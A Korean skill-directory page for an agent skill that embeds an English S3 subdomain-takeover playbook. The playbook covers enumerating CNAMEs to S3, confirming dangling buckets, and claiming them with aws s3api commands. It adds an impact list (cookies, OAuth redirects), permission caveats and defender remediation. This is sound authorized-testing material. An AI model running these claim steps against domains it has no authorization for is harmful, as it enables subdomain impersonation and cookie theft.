본문으로 건너뛰기
Skillpedia
보안6.5k · #14001

s3-takeover

하는 일

이 스킬은 더 이상 존재하지 않는 Amazon S3 스토리지 버킷을 가리키는 하위 도메인 DNS 레코드를 다룹니다. DNS에 악용될 수 있는 레코드가 있는지 확인하는 팀을 위한 스킬입니다.

사용하는 경우

  • ✓삭제한 S3 버킷을 가리키는 DNS 레코드가 있는지 찾고 싶을 때.
  • ✓허가된 테스트에서 방치된 클라우드 스토리지 레코드를 확인해야 할 때.
  • ✓회사가 웹사이트를 옮긴 뒤 오래된 하위 도메인을 정리하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/cloud/s3-takeover/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“우리가 삭제한 오래된 S3 버킷이 있습니다. 우리 하위 도메인 중 아직 그 버킷을 가리키는 곳이 있는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 하위 도메인을 나열하고, S3 호스트를 가리키는 것을 찾고, 각 버킷이 아직 존재하는지 확인합니다. 방치된 레코드는 제거하거나 다시 연결합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

S3 Subdomain Takeover

When a subdomain has a CNAME to an S3 hostname (e.g. assets.example.com → assets-example.s3.amazonaws.com) but the bucket no longer exists, anyone can register that bucket name and serve content from the subdomain.

1. Enumerate subdomains pointing at S3

From recon SUMMARY.md, look for any CNAME containing:

  • s3.amazonaws.com
  • s3-website-<region>.amazonaws.com
  • s3.<region>.amazonaws.com
  • s3-website.<region>.amazonaws.com
  • <bucket>.s3.<region>.amazonaws.com
  • CloudFront/CDN distributions backed by S3 (.cloudfront.net)

Or run direct:

# Subdomain dump
subfinder -d example.com -silent > /tmp/subs.txt

# Check CNAMEs
for s in $(cat /tmp/subs.txt); do
  cname=$(dig +short CNAME "$s" 2>/dev/null | head -1)
  if echo "$cname" | grep -qE 's3.*amazonaws|cloudfront'; then
    echo "$s -> $cname"
  fi
done > /tmp/s3-candidates.txt

2. Verify dangling

For each candidate:

# Try to GET the subdomain - look for the S3 "NoSuchBucket" error
curl -s -o /tmp/r.html "https://$SUBDOMAIN/" -w '%{http_code}\n'
grep -E 'NoSuchBucket|BucketNotFound|<Code>NoSuchBucket</Code>' /tmp/r.html

# Or query the bucket name directly
BUCKET=$(echo "$CNAME" | awk -F'.' '{print $1}')
aws s3 ls "s3://$BUCKET/" --no-sign-request 2>&1
# "NoSuchBucket" / "The specified bucket does not exist" = dangling

Decepticon helper:

s3_takeover_check("<subdomain>")

3. Claim the bucket

# In the SAME region the CNAME implies
aws s3api create-bucket \
  --bucket "$BUCKET" \
  --region us-east-1 \
  --create-bucket-configuration LocationConstraint=us-east-1
# (us-east-1 omits the LocationConstraint)

Race conditions:

  • AWS sometimes blocks names of recently-deleted buckets (cooldown). If it errors with "BucketAlreadyExists" or "Bucket name reserved", the takeover window has closed (or is gated).
  • For high-value targets, attempt in different regions — some CNAMEs don't specify region and AWS DNS resolves to whichever region you create the bucket in.

4. Demonstrate impact (safe)

Static page proof (engagement context — get explicit permission first):

echo '<h1>S3 subdomain takeover PoC</h1><p>Demonstrated by ENGAGEMENT-ID</p>' > /tmp/index.html
aws s3 cp /tmp/index.html "s3://$BUCKET/index.html"
aws s3 website "s3://$BUCKET/" --index-document index.html

# Now curl https://$SUBDOMAIN/ returns your content

DO NOT:

  • Serve actual exploit content (XSS, drive-by, phishing)
  • Capture cookies even though you can (same-origin to the org)
  • Leave the bucket up post-engagement

DO:

  • Take a timestamped screenshot of your benign content served from the subdomain
  • Hand the bucket name over to defender for transfer / cooldown
  • Delete the bucket after PoC: aws s3 rb "s3://$BUCKET" --force

5. Impact framing

A claimed S3 bucket on an org subdomain gives:

  • Same-origin scripting vs every page on that subdomain
  • Cookie access for cookies scoped to the parent domain (.example.com)
  • OAuth redirect_uri abuse if the subdomain is a registered redirect
  • MITM-class trust — orgs publish links to the subdomain assuming control
  • TLS is "free" via the org's own ACM cert if Route 53 + ACM are configured, otherwise it's an HTTP-only takeover (still bad)

6. Promote

kg_add_node(kind="vulnerability", label="S3 takeover: <subdomain>",
            props={"severity":"high","bucket":"<bucket>","region":"<region>"})
kg_add_edge(src=<vuln>, dst=<crown_jewel:org-domain>, kind="grants-impersonation")

CVSS

  • Subdomain with active OAuth flow / cookie scope: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N = 8.7
  • Static-content subdomain only: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N = 7.5
  • Subdomain with no apparent purpose (unused): Medium 5-6

Defender remediation

# Find every S3 CNAME the org publishes
aws route53 list-hosted-zones --query 'HostedZones[].Id' --output text | \
  xargs -I{} aws route53 list-resource-record-sets --hosted-zone-id {} \
  --query 'ResourceRecordSets[?Type==`CNAME`]' --output json > /tmp/cnames.json

# Cross-check against existing buckets
jq -r '.[] | select(.ResourceRecords[].Value | test("s3.*amazonaws")) | .Name' /tmp/cnames.json | \
  while read sd; do
    bucket=$(dig +short CNAME "$sd" | head -1 | sed 's/.s3.*//; s/.$//')
    aws s3api head-bucket --bucket "$bucket" 2>&1 | grep -q "Not Found" && echo "DANGLING: $sd -> $bucket"
  done

Known exemplars

  • 2017: Uber subdomain
자주 묻는 질문

남은 버킷 레코드가 왜 위험한가요?

누구든 그 이름으로 버킷을 만들어, 여러분의 하위 도메인에서 콘텐츠를 제공할 수 있습니다.

방치된 레코드는 어떻게 확인하나요?

주소를 요청했을 때 존재하지 않는 버킷 응답이 나오는지 확인합니다.

해결 방법은 무엇인가요?

DNS 레코드를 제거하거나, 자신이 관리하는 버킷을 가리키도록 바꿉니다.

상세 정보

작성자의 원본 설명

Detect and claim dangling S3 buckets referenced by subdomains (CNAME → s3 hostnames where bucket no longer exists).

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#14001
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬